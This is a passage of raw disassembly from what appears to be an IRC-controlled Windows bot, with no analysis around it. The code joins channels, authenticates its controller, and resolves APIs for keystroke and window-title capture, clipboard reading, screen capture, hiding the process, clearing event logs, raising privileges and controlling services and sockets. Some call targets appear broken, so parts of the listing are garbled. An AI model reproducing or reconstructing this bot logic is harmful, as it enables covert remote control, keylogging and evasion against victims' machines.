		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2690F24h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		call	near ptr 26B092Eh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D9C


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D4C


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		nop
		call	near ptr 2690F24h


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C78
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D120 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		call	near ptr 2690F24h
		nop

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26D0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		call	near ptr 26A08EAh
		nop
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		call	near ptr 26A08EAh
		nop
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
